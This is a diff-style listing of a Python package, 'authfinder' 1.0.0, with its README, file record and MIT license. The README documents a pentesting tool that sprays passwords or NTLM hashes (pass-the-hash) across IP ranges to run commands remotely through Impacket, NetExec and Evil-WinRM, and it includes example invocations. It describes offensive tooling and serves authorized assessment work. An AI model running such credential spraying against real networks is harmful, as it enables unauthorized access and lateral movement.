- **Automatic Pass-the-Hash**: Just paste the NTLM hash as the credential
|
|
48
|
+
|
|
49
|
+
## Installation
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
pipx install authfinder
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
### External Dependencies
|
|
56
|
+
|
|
57
|
+
This tool requires the following external tools to be installed:
|
|
58
|
+
|
|
59
|
+
```bash
|
|
60
|
+
# Impacket (for PSExec, AtExec, MSSQL)
|
|
61
|
+
pipx install impacket
|
|
62
|
+
|
|
63
|
+
# NetExec (for SMBExec, WMI, RDP, SSH)
|
|
64
|
+
pipx install git+https://github.com/Pennyw0rth/NetExec
|
|
65
|
+
|
|
66
|
+
# Evil-WinRM (for WinRM)
|
|
67
|
+
gem install evil-winrm
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
## Usage
|
|
71
|
+
|
|
72
|
+
### Basic Usage
|
|
73
|
+
|
|
74
|
+
```bash
|
|
75
|
+
# Execute command on single host
|
|
76
|
+
authfinder 192.168.1.10 administrator Password123 whoami
|
|
77
|
+
|
|
78
|
+
# Execute across IP range of 192.168.1.1 to 192.168.1.50
|
|
79
|
+
authfinder 192.168.1.1-50 admin Pass123 "net user"
|
|
80
|
+
|
|
81
|
+
# Use hash instead of password
|
|
82
|
+
authfinder 10.0.0.1-10 admin :{32-bit-hash} whoami
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
### IP Range Format
|
|
86
|
+
|
|
87
|
+
Supports various formats:
|
|
88
|
+
- Single IP: `192.168.1.10`
|
|
89
|
+
- Range: `192.168.1.1-254`
|
|
90
|
+
- Multiple ranges: `10.0.1-5.10-20` (expands to all combinations)
|
|
91
|
+
- File with IP ranges: `targets.txt`
|
|
92
|
+
|
|
93
|
+
### Credential File Format
|
|
94
|
+
|
|
95
|
+
Create a text file with alternating username/password lines:
|
|
96
|
+
|
|
97
|
+
```
|
|
98
|
+
administrator
|
|
99
|
+
Password123!
|
|
100
|
+
admin
|
|
101
|
+
Pass123
|
|
102
|
+
backup_admin
|
|
103
|
+
:aad3b435b51404eeaad3b435b51404ee
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
Lines starting with `#` are treated as comments. For NT hashes, use them directly as the password.
|
|
107
|
+
|
|
108
|
+
## Command-Line Options
|
|
109
|
+
|
|
110
|
+
```
|
|
111
|
+
Options:
|
|
112
|
+
-v Verbose output (shows all tool attempts)
|
|
113
|
+
-o Show successful command output (WARNING: may trigger AV)
|
|
114
|
+
-f <file> Use credential file instead of single username/password
|
|
115
|
+
--threads <n> Number of concurrent threads (default: 10)
|
|
116
|
+
--tools <list> Comma-separated list of tools to try in order
|
|
117
|
+
--timeout <seconds> Command timeout in seconds (default: 15)
|
|
118
|
+
--run-all Run all tools instead of stopping at first success
|
|
119
|
+
--skip-portscan Skip port scanning and attempt all tools
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
## Todo
|
|
124
|
+
|
|
125
|
+
Add kerberos support lol
|
|
126
|
+
- Requires supporting hostnames and configuring `/etc/krb5.conf` for tools like evil-winrm
|
|
127
|
+
|
|
128
|
+
## License
|
|
129
|
+
|
|
130
|
+
MIT License - see LICENSE file for details
|
|
131
|
+
|
|
132
|
+
## Disclaimer
|
|
133
|
+
|
|
134
|
+
This tool is intended for authorized security assessments only. Ensure you have proper authorization before using this tool on any systems you do not own or have explicit permission to test.
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
authfinder/__init__.py,sha256=b2jBb6R4cuiX1PxJY3rYvF_ur_hCDqsYnC326whCgFA,111
|
|
2
|
+
authfinder/authfinder.py,sha256=kd1cB3oxBDK_XzftviRwOMBAlNV8R52OLLxK5TWxyig,21155
|
|
3
|
+
authfinder-1.0.0.dist-info/licenses/LICENSE,sha256=Kw_kDNp7vsEauRb1Al1Urf1pe0EZWYB0HGK8PvT4FV0,1060
|
|
4
|
+
authfinder-1.0.0.dist-info/METADATA,sha256=KdyyXzqJNunFBs5aX6SMb3RzeOLo4b0LAuOxI4TVRB4,4367
|
|
5
|
+
authfinder-1.0.0.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
|
|
6
|
+
authfinder-1.0.0.dist-info/entry_points.txt,sha256=9ChuQL6PNJlPHW_hSXvoFffcHCbpE0M8RHk8cz7yaIo,58
|
|
7
|
+
authfinder-1.0.0.dist-info/top_level.txt,sha256=tBEVwAMMMn0YcpoXt_lO1xiT-uznaCGrp7184swWocg,11
|
|
8
|
+
authfinder-1.0.0.dist-info/RECORD,,
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
Copyright 2026 Khael
|
|
2
|
+
|
|
3
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
|
4
|
+
|
|
5
|
+
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
|
6
|
+
|
|
7
|
+
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
authfinder
|